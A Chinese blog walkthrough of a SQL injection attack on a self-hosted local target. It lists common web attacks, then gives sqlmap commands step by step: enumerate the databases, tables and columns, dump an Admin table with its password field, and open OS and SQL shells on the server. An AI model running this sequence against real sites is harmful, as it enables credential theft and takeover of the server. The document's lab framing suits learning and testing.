还是那句老话,攻防无绝对,本次为攻防爱好者分享一篇Eswink在本地局域网内的一次攻击实战,包含了网站SQL注入与猜解思路。

常见攻击手段

  • XSS攻击:利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序
  • CSRF攻击:跨站请求伪造,攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求
  • DDOS攻击:通过大规模互联网流量淹没目标服务器或其周边基础设施,以破坏目标服务器、服务或网络正常流量的恶意行为
  • sql注入:将SQL代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法

攻击工具

本篇只针对SQL注入攻击做实战演示,其他攻击手法以后博主有时间再写吧。所用工具sqlmap,关于SQLMAP的介绍和安装我这里就不作更多的赘述了,自己百度下。

靶机搭建

想要寻找靶机这个多少碰点运气,因为现在开发人员对sql漏洞越来越重视,以及流行框架已经从底层给你规避了这种风险,已经很少网站存在sql注入漏洞了。但是,只要存在,这将是致命的。所以本次我在本地局域网搭建了靶机,并且搭建了含有注入点的网站。本篇内容仅供个人学习参考使用,恶意攻击是违法行为,本次实验均为局域网内部靶机。

实战开始

寻找注入

输入以下代码,–dbs代表爆出该网站所有数据库,假如该链接存在sql注入漏洞,将会得到下图所示

python sqlmap.py -u "http://127.0.0.1/ShowSd.asp?Infoid=1333" --dbs

该图给了我们如下信息:

操作系统:windows2019 or 2016 or 10

语言:asp,.net开发

数据库:sql server 2005

可用数据库:fireworknet、master、model、msdb、tempdb

寻找当前使用数据库

输入以下命令,寻找网站当前使用的数据库,这里就不贴图了,会返回 current database: ‘fireworknet’

python sqlmap.py -u "http://127.0.0.1/ShowSd.asp?Infoid=1333" --current-db

爆破数据表

通过上面的信息,我们已经找到网站所属数据库为:fireworknet,执行如下指令,爆出fireworknet数据库下所有表,将会得到下图所示:

python sqlmap.py -u "http://127.0.0.1/ShowSd.asp?Infoid=1333" -D fireworknet --tables

通过上图信息我们可以知道fireworknet数据库下一共有31张表

爆破表字段

输入以下代码,爆破Admin表字段,将会得到下图所示

python sqlmap.py -u "http://127.0.0.1/ShowSd.asp?Infoid=1333" -D fireworknet -T Admin --columns

通过上图信息我们可以了解到:fireworknet数据库下Admin表有8个字段

爆破表内容

输入以下代码,打印出Admin表,Admin_ID、Admin_Name、Admin_PWD字段,将会得到如下图所示。至此,从寻找sql漏洞到利用漏洞爆破数据库所有表数据完结……

python sqlmap.py -u "http://127.0.0.1/ShowSd.asp?Infoid=1333" -D fireworknet -T Admin -C Admin_ID,Admin_Name,Admin_PWD --dump

进阶玩法

创建与系统交互的shell窗口

输入以下代码,将得到下图所示

python sqlmap.py -u "http://127.0.0.1/ShowSd.asp?Infoid=1333" --os-shell

os-shell中比如输入ipconfig/all命令:(将会爆出服务器内网ip地址等信息)

创建SQL shell

输入如下命令,在sql-shell中输入:select * from Extend,将会得到下图所示

python sqlmap.py -u "http://127.0.0.1/ShowSd.asp?Infoid=1333" --sql-shell